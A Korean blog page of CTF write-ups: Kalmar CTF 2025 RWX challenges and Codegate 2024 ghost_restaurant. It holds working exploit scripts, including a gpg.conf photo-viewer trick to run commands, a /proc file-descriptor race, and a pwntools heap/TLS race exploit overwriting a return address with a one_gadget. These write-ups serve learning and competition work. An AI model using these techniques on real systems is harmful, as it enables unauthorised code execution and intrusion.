~/bl4nk - race condition

Kalmar CTF 2025 - RWX series

2025-03-13T00:00:00+00:00

0x00. Introduction

FROM ubuntu:latest

RUN apt-get update && \
    apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages

WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt

COPY would.c /
RUN gcc -o would would.c && \
    chmod 6111 would && \
    rm would.c

WORKDIR /app
COPY app.py .

RUN useradd -m user
USER user

CMD ["python3", "app.py"]

Dockerfile을 보면 would.c를 빌드해서 / 디렉토리 밑에 would 바이너리를 생성한다. flask로 구동되는 웹 서버를 올리는데 이를 이용해서 flag를 획득해야 한다.

Concept

int main(int argc, char *argv[]) {
    char full_cmd[256] = {0}; 
    for (int i = 1; i < argc; i++) {
        strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
        if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
    }

    if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
        FILE *flag = fopen("/flag.txt", "r");
        if (flag) {
            char buffer[1024];
            while (fgets(buffer, sizeof(buffer), flag)) {
                printf("%s", buffer);
            }
            fclose(flag);
            return 0;
        }
    }

    printf("Invalid usage: %s\n", full_cmd);
    return 1;
}

would.c를 보면 /would you be so kind to provide me with a flag로 바이너리를 실행해서 flag를 획득할 수 있다.

@app.route('/read')
def read():
    filename = request.args.get('filename', '')
    try:
        return send_file(filename)
    except Exception as e:
        return str(e), 400

@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=6664)

app.py를 보면 user 권한으로 arbitrary read / write가 가능하고 명령어 실행은 길이 제한이 있다.

이런 식으로 RWX-Bronze, RWX-Silver, RWX-Gold, RWX-Diamond가 있는데 길이가 점점 줄어들거나 환경이 바뀌는 형식이다.

0x01. RWX-Bronze

제일 처음 문제인 Bronze에서는 7바이트 제한이 걸려있다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

/write 엔드포인트를 이용해서 다음 내용을 /home/user/x라는 파일에 저장했다.

/would you be so kind to provide me with a flag

이후 /exec 엔드포인트를 통해 다음 명령어를 실행해주면 된다.

sh<~x

0x02. RWX-Silver

이번에는 5바이트 제한이 걸려있다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 5:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

Bronze와 마찬가지로 /home/user/x를 생성하고 다음 명령어를 실행해주면 된다.

. ~/x

0x03. RWX-Gold

이번에는 3바이트인데 여기부터는 대회중에 못풀었다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 3:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

. ~, ~/*, ~;* 등 다양하게 시도를 해봤는데 다 실패했다.

나중에 writeup을 보니 PGP의 gnu 버전인 GPG(Gnu Privacy Guard)라는 도구를 이용해야 했다. 살면서 처음 들어보는 도구인데 놀랍게도 ubuntu에 기본으로 깔려있다.

Exploit 시나리오를 위해 잠시 PGP에 대한 background를 설명하자면,

PGP 키는 여러 개의 패킷(packet)으로 구성
- 공개 키 패킷
- 비밀 키 패킷
- 사용자 ID 패킷
- 서명 패킷
- 사진 ID 패킷
- …
gpg.conf 파일을 통해 GPG의 동작 방식을 제어할 수 있음
- list-options : gpg --list-keys 실행 시 옵션을 설정하는 tag
  - show-photos : 키를 나열할 때 PGP 키에 첨부된 사진 표시
- photo-viewer : PGP 키에 첨부된 사진을 표시할 때 사용할 프로그램을 지정하는 tag
- list-keys : 이 옵션이 gpg.conf에 있으면 gpg 실행 시 자동으로 키 목록을 표시

설명이 gpg, pgp를 왔다갔다 하는데 서로 호환되게 구현된 것이므로 틀린 표현은 아니다.

따라서 다음과 같은 내용을 /home/user/.gnupg/gpg.conf라는 파일에 저장한다.

list-options show-photos
photo-viewer /would you be so kind to provide me with a flag > /tmp/x 
list-keys

이후 gpg 명령을 실행해주면 설정값에 따라 키 목록을 표시하게 되고, 그 과정에서 사진을 출력할 바이너리가 /would you be so kind to provide me with a flag > /tmp/x으로 지정되어있으므로 사진을 출력할 때 명령어가 실행된다.

Payload

import requests
import base64

url = "http://localhost:6664"

def rwx_read(filename):
    uri = url + "/read"
    uri += "?filename=" + filename
    return requests.get(uri)

def rwx_write(filename, data):
    uri = url + "/write"
    uri += "?filename=" + filename
    return requests.post(uri, data=data)

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

def main():
    rwx_exec("gpg")
    gpg_conf_content = (
        "list-options show-photos\n"
        "photo-viewer /would you be so kind to provide me with a flag > /tmp/x\n"
        "list-keys\n"
    )
    rwx_write("/home/user/.gnupg/gpg.conf", gpg_conf_content)

    with open("pubring.kbx", "rb") as f:
        pubring_data = f.read()
    rwx_write("/home/user/.gnupg/pubring.kbx", pubring_data)
    
    rwx_exec("gpg")
    r = rwx_read("/tmp/x")
    print(r.text)

if __name__ == '__main__':
    main()

0x04. RWX-Diamond

마지막 문제는 오히려 4바이트로 길이가 늘어났다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 4:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

하지만 Dockerfile을 보면 달라진게 있다.

...
# RUN useradd -m user
RUN useradd user
USER user

CMD ["python3", "app.py"]

useradd를 할 때 -m 옵션이 없기 때문에 /home/user 디렉토리가 생성되지 않아서 기존 방식을 사용할 수 없다.

마찬가지로 대회중에 못풀어서 writeup을 확인해보니 race condition으로 해결할 수 있었다.

➜  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
      8 ?        00:00:00 sh
      9 ?        00:00:00 ps
➜  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
     11 ?        00:00:00 sh
     12 ?        00:00:00 ps

이런 식으로 명령어를 연속으로 실행할 경우 pid가 3만큼 증가하므로 다음 프로세스의 pid를 예측할 수 있다.

Exploit 시나리오는 다음과 같다.

write	exec
Create write process
	Create exec process
Write “/would you …” to `STDIN` of `sh`
	Execute `w\|sh`

w|sh 명령을 실행하는 이유는 길이가 4바이트까지이고 sh 프로세스에 STDIN을 줘야하기 때문에 한 바이트짜리 명령어인 w를 사용하는 것이다. 존재하지 않는 명령어를 STDIN으로 줘도 될 것 같지만 time window가 다른지 존재하는 명령어가 성공 확률이 높다고 한다.

이 때 w|sh는 sh라는 또 다른 프로세스를 생성하므로 pid를 3이 아닌 4만큼 증가시켜야 한다.

컨셉은 간단한데 발상이 대단한 것 같다.

Payload

import requests
import threading
from time import sleep

url = "http://localhost:6664"
cmd = "/would you be so kind to provide me with a flag"

def race_fd():
    global pid
    requests.post(f"{url}/write?filename=/proc/{pid}/fd/0", data=cmd)

def race_cmd():
    global res
    res = requests.get(f"{url}/exec?cmd=w|sh").text

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

while True:
    r = rwx_exec("ps")
    pid = int(r.text.split("\n")[-2].split()[0])
    pid += 4
    print(f"[*] trying {pid}")

    thread_cmd = threading.Thread(target=race_cmd)
    thread_fd = threading.Thread(target=race_fd)

    thread_fd.start()
    thread_cmd.start()
    thread_cmd.join()
    thread_fd.join()

    if "kalmar{" in res:
        print(res)
        break
    
    sleep(0.1)

Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

2024-08-28T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ghost_restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct food {
    char name[0x40];
    long cook_time;
    long left_time;
}

이 외에도 사용되는 구조체가 몇개 있지만 문제 풀이에 중요한 구조체만 정리하였다.

Concept

oven을 생성해서 선택하면 cook_1928 쓰레드가 생성되어 food를 insert하거나 remove할 수 있다.

insert 시 입력한 cook_time만큼의 시간이 지나면 food가 완성된다. 이 때 시간을 감소시키고 시간이 다 지났는지 확인하는 과정은 start_routine_16B1 쓰레드를 통해 이루어진다.

0x01. Vulnerability

Information Leak

cook_time이 다 되어서든, remove를 해서든 food가 삭제될 때 다음과 같은 로직을 통해 메모리가 변경된다.

printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
  food_next = food[i + 1];
  food_cur = food[i];
  memcpy(food_cur, food_next, 0x50);
}

이 때 food가 꽉 찼을 때도 food[i + 1]에서 데이터를 복사하므로 food 구조체 다음 영역에 중요한 데이터가 있다면 leak이 가능하다.

Race Condition

food의 남은 시간을 체크하는 start_routine_16B1의 코드를 보면,

void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
  ...
  while ( 1 )
  {
    if ( *(__int64 *)arg->count > 0 )
    {
      for ( i = 0; i < *(_QWORD *)arg->count; ++i )
      {
        if ( arg->food[i].left_time > 0 )
        {
          food_tmp = &arg->food[i];
          if ( !--food_tmp->left_time )
          {
            printf("'%s' is ready!\n", arg->food[i].name);
            ...
            for ( j = i; j < *(_QWORD *)arg->count; ++j )
            {
              food_next = &arg->food[j + 1];
              food_cur = &arg->food[j];
              memcpy(food_cur, food_next, 0x50);
            }
            --*(_QWORD *)arg->count;
          }
        }
      }
    }
    sleep(1u);
  }
}

left_time이 0이 됐을 때 해당 food 구조체 이후의 구조체들을 한 칸씩 앞으로 땡겨주고 food_count를 감소시킨다.

이 외에 다른 방법으로도 food를 제거할 수 있는데 cook_1928의 코드를 보면,

void *__fastcall cook_1928(struct oven *a1)
{
  ...
  while ( 1 )
  {
    pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
    while ( !LODWORD(oven->ready) )
      pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
    ...
    __isoc99_scanf("%d", &choice);
    ...
    if ( choice == 2 )
    {
      printf("Select food to remove in '%s':\n", oven->name);
      ...
      __isoc99_scanf("%d", &tmp);
      if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
      {
        LODWORD(tmp) = tmp - 1;
        for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
        {
          food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
          food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
          memcpy(food_cur, food_next, 0x50);
        }
        __writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
        goto LABEL_39;
      }
LABEL_19:
      puts("Invalid choice.");
      pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
    }
LABEL_39:
    pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
  }
  ...
}

현재 들어가있는 food의 목록을 출력해주고 tmp에 제거할 food의 인덱스를 받아서 삭제한 후 26번 라인의 __writefsqword()를 통해 food_count 값을 감소시킨다.

여기에서 발생하는 취약점은 start_routine_16B1에서 시간이 다 됐을 때 food_count를 감소시키는 코드가 critical section으로 관리되지 않는다. 따라서 cook_1928의 remove 로직과 동시에 실행될 수 있기 때문에 race condition이 발생한다.

`cook_1928`	`start_routine_16B1`
`if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )`
	`food_next = &arg->food[j + 1];`
`food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);`
	`food_cur = &arg->food[j];`
`food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);`
	`memcpy(food_cur, food_next, 0x50);`
`memcpy(food_cur, food_next, 0x50);`
	`--(_QWORD )arg->count;`
`__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);`

위와 같은 방식으로 race condition이 발생하게 된다면 insert를 한번 했더라도 값의 감소가 두번 이루어져 food_count에 underflow가 발생할 수 있다.

0x02. Exploit

Information Leak

food[0]을 기준으로 food의 사이즈인 0x50씩 메모리를 출력하다보면 다음 영역을 확인할 수 있다.

gef➤
0x7ffff7da56a0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0      0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0      0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000      0x3ce1f8458248c000

food[4]에 해당하는 영역에 위와 같이 TLS(Thread Local Storage), heap 영역에 대한 주소와 이 문제에서 필요하지는 않지만 canary 값이 저장되어있다. food는 최대 4개까지 insert할 수 있으므로 food[0]~food[3]까지 생성했다가 food[0]을 remove를 하면 food[4]의 데이터를 food[3]에 복사한다. 이런 식으로 food[0]을 4번 remove하면 food[4] 영역의 데이터가 food[0]~food[3]에 복사가 된다.

참고로 0x7ffff7da56c0에 저장된 0x7ffff7da56c0가 TLS 주소로, __readfsqword(0)를 실행했을 때 반환되는 값이다. 이 값이 다른 값으로 바뀌게 되면 __readfsqword(0)의 결과가 바뀐 값으로 반환되어 주의해야 한다.

printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
  printf(
    "%d. %s (cooking for %lld seconds, %lld seconds left)\n",
    (unsigned int)(i + 1),
    (const char *)(80LL * i + __readfsqword(0) - 0x160),  // name; 0x00007ffff7d864e0
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120),   // cook_time
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118));  // left_time

food.name의 출력을 %s로 해주기 때문에 중간에 있는 \x00들을 채워주어야 한다. 이 조건은 name선택 시 고를 수 있는 hidden choice를 하면 호출되는 read()를 통해 해결할 수 있다.

if ( food_choice == 4 )     // hidden
{
  pthread_mutex_lock(&prompt_mutex_5100);
  printf("Enter food name for spacial food: ");
  read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL);  // name; 0x00007ffff7d864e0
  pthread_mutex_unlock(&prompt_mutex_5100);
}

따라서 다음과 같이 payload를 작성했다.

    create_oven(s, b"1111")
    select_oven(s, b"1")

    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

이 때 TLS의 위치가 libc의 바로 위 영역에 할당되므로 offset을 계산하면 libc base도 획득할 수 있다.

Race Condition

Race condition을 트리거하기 위한 sleep time을 구하기 위해 brute force를 수행하는 payload를 작성했다.

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        # code for information leak

        insert_food(s, b"1", 1)
        sleep_time = 0.95 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

실질적으로는 information leak을 수행한 후에 race condition을 트리거하므로 같은 상황을 만들어주기 위해 information leak을 위한 payload도 중간에 작성해야 정확한 time을 구할 수 있다.

트리거 성공 시 food_count가 -1이 되고 이 때 insert를 하면 food[-1]에 데이터를 쓸 수 있게된다.

food[-1]     :  0x00007ffff7da5510 -> name[0x40]
                0x00007ffff7da5520
                0x00007ffff7da5530
                0x00007ffff7da5540
food_count   :  0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0]      :  0x00007ffff7da5560 -> name[0x40]
                0x00007ffff7da5570
                0x00007ffff7da5580
                0x00007ffff7da5590
                0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
                0x00007ffff7da55b0
                ...
TLS          :  0x00007ffff7da56c0
                ...
LIBC         :  0x00007ffff7da9000

이 때 입력하는 cook_time이 food_count 위치에 쓰여지기 때문에 cook_time을 60으로 입력하면 food_count가 60인 것으로 인식되어 food를 60개 출력해준다. 따라서 트리거 성공 여부를 출력되는 food의 개수로 판단하게끔 payload를 작성했다.

➜  python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816

그 결과 적당한 sleep time을 구할 수 있었다. 다만 여러 번 실행하면 메모리 이슈 때문인지 time window가 조금씩 밀리는 모양이다.

RIP Control

Race condition을 트리거한 후 gdb에서 info threads를 통해 쓰레드 정보를 확인해보면 다음과 같다.

gef➤  info threads
  Id   Target Id          Frame
  1    LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2    LWP 974149 "chall" 0x0000555555555e51 in ?? ()
  3    LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6

이 중 3번 쓰레드가 start_routine_16B1이 실행되는 쓰레드로, thread 3 명령을 통해 context를 switch해보면,

[#0] 0x7ffff7e95adf → clock_nanosleep()
[#1] 0x7ffff7ea2a27 → nanosleep()
[#2] 0x7ffff7eb7c63 → sleep()
[#3] 0x555555555923 → jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffff75a3c20
gef➤  vmmap 0x7ffff75a3c20
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-

위와 같이 매 초마다 left_time을 감소시키고 food가 완성되었는지 확인하기 위해서 clock_nanosleep()을 실행하고 있다.

또한 앞서 leak한 TLS와는 다른 TLS 영역을 할당받아 stack으로 활용하고 있다.

Call stack을 보면 sleep() -> nanosleep() -> clock_nanosleep() 순으로 호출이 되었는데, 무언가 overwrite를 하기 위해서라면 호출 주기가 긴 sleep()을 타겟으로 디버깅을 하다보면,

 → 0x7ffff7eb7c84 <sleep+100>      ret
──────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7eb7c84 → sleep()
[#1] 0x555555555923 → jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923

이렇게 sleep()이 ret를 하는 순간이 오고 이 때 rsp는 0x7ffff75a3ce8를 가리키고 있다. 이 주소는 앞서 leak한 0x7ffff7da56c0와 다른 TLS 영역의 주소이긴 하지만, TLS 사이의 offset이 일정하게 할당이 되어 offset을 계산해주면 해당 영역에 접근할 수 있다.

원본 문제는 shadow stack이 적용되어있으나 여기에서는 shadow stack이 없는 환경이기 때문에 이 return address를 덮어서 RIP control이 가능하다.

Race condition 트리거에 성공하면 food_count가 -1이 되고, 이로 인해 food[-1].cook_time이 food_count의 위치에 쓰이면서 큰 값을 갖게 된다. 따라서 index를 적절히 이용하면 다음과 같이 thread 3에서 호출되는 sleep()의 return address에 값을 쓰는 것이 가능하다.

    insert_food(s, b"1", 1)
    sleep(0.9813)
    remove_food(s, b"1")
    
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))

    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

마침 활용할 수 있는 one shot 가젯이 있어서 one shot 가젯의 주소로 덮어주었다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"

code_base = 0x0000555555554000
bp = {
    'cook' : code_base + 0x1928,
    'dec_count_cook' : code_base + 0x21F9,
    'read_insert_cook' : code_base + 0x1E51,
    'remove_cook' : code_base + 0x1F9D,
    'go_back_cook' : code_base + 0x221A,
    'ret_print_oven' : code_base + 0x16B0,
}

gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_oven(s, name):
    s.sendline(b"0")
    s.recvuntil(b"name: ")
    s.sendline(name)
    return s.recvuntil(b"option: ")

def select_oven(s, number):
    s.sendline(number)
    return s.recvuntil(b"option: ")

def insert_food(s, number, time, name=""):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(number)
    s.recvuntil(b"(seconds): ")
    s.sendline(str(time).encode())
    if number == b"5":
        s.recvuntil(b"food: ")
        s.send(name)
    return s.recvuntil(b"option: ")

def remove_food(s, number):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(number)
    return s.recvuntil(b"option: ")

def go_back(s):
    s.sendline(b"3")
    return s.recvuntil(b"option: ")

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        for _ in range(4):
            insert_food(s, b"1", 12345)
        for _ in range(4):
            remove_food(s, b"1")
        insert_food(s, b"5", 12345, b"A" * 0x20)
        r = insert_food(s, b"5", 12345, b"B" * 0x28)
        tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
        libc = tls + 0x3940
        heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
        remove_food(s, b"1")
        remove_food(s, b"1")

        insert_food(s, b"1", 1)
        sleep_time = 0.98 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

def main(port, debug, brute_force):
    if(brute_force):
        brute_force_time(port)
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"option: ")
    create_oven(s, b"1111")
    select_oven(s, b"1")

    # information leak
    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

    # trigger race condition
    insert_food(s, b"1", 1)
    sleep(0.9814)
    remove_food(s, b"1")
    
    # overwrite food_count
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))
    
    # overwrite ret of sleep() in thread 3
    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    parser.add_argument('-b', '--brute_force', type=int, default=0)
    args = parser.parse_args()
    main(args.port, args.debug, args.brute_force)